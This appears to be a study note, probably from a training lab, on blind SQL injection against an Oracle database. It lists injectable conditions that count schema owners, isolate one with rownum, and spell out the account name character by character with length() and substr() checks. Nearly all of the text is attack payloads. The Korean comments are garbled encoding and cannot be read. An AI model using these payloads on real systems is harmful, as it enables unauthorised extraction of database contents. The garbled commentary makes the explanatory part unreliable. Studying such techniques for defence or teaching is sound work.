# 1. ์ฌ์ฉ์ ๊ณ์ ๊ฐ์ ์ธ๊ธฐ
SELECT count(*) FROM (SELECT rownum r, owner FROM (SELECT DISTINCT owner FROM all_tables)) WHERE owner like '%C##%';
# rownum์ 1์ค๋ง ์ถ๋ ฅํ๊ธฐ์ํด ( ํ๋์ ๋ ์ฝ๋์ ํ๋์ ์ปฌ๋ผ๋ง ์ถ๋ ฅํ๊ธฐ ์ํด ์ฌ์ฉ )
# ๋ค๋ง ํ์ฌ ์ ๋ณด ํ์ทจ์ ํ๊ฒฝ์ Blind ์ด๊ธฐ ๋๋ฌธ์ ๋น ์์ฐจ๋ฐฉ์์ผ๋ก ์กฐํ๊ฐ ํ์
# ๊ทธ๋ ๊ธฐ์ ์๋ ์ฝ๋๋ฅผ ์จ์ผํ๋ค.
SELECT count(*) FROM (SELECT DISTINCT owner FROM all_tables) WHERE owner like'%C##%';
# 2. ์ฌ์ฉ์ ๊ณ์ ์ถ๋ ฅํ๊ธฐ
SELECT owner FROM (SELECT rownum r, owner FROM (SELECT DISTINCT owner FROM all_tables WHERE owner like '%C##%')) WHERE r=1;
SELECT owner FROM (SELECT rownum r, owner FROM all_tables WHERE owner like '%C##%') WHERE r=1; # ๊ตณ์ด ์ค๋ณต์ ๊ฑฐ ์ฌ์ฉํ ํ์ ์๊ธฐ์ ์ญ์
๊ธฐ๋ณธ ๊ตฌ๋ฌธ : SELECT user FROM dual
์ ์ถ ๊ตฌ๋ฌธ : length((SELECT user FROM dual))=8 # ๊ธฐ์ค๋ฌธ์ match๊ฐ ๋๋ค
# ํ์ ๊ตฌ๋ฌธ
substr((SELECT user FROM dual),1,1)='C'
substr((SELECT user FROM dual),2,1)='#'
substr((SELECT user FROM dual),3,1)='#'
substr((SELECT user FROM dual),4,1)='K'
substr((SELECT user FROM dual),5,1)='I'
substr((SELECT user FROM dual),6,1)='T'
substr((SELECT user FROM dual),7,1)='R'
substr((SELECT user FROM dual),8,1)='I'
# ์ฌ์ฉ์ ๊ณ์ ์ ๋ชจ๋ ๋๋ฌธ์
๊ธฐ๋ณธ ๊ตฌ๋ฌธ : SELECT DISTINCT owner FROM all_tables;
๊ฐ์ ๊ตฌ๋ฌธ : (SELECT count(*) FROM (SELECT DISTINCT owner FROM all_tables WHERE owner like '%C##%'))=2
# > 2๊ฐ ์ถ๋ ฅ๋๋ค - rownum์ ์ฌ์ฉํด์ผํ๋ค
# ์ ์ถ ๊ตฌ๋ฌธ
length((SELECT owner FROM (SELECT rownum r, owner FROM (SELECT DISTINCT owner FROM all_tables WHERE owner like '%C##%')) WHERE r=1))=8
# ํ์ ๊ตฌ๋ฌธ
substr((SELECT owner FROM (SELECT rownum r, owner FROM (SELECT DISTINCT owner FROM all_tables WHERE owner like '%C##%')) WHERE r=1),1,1)='C'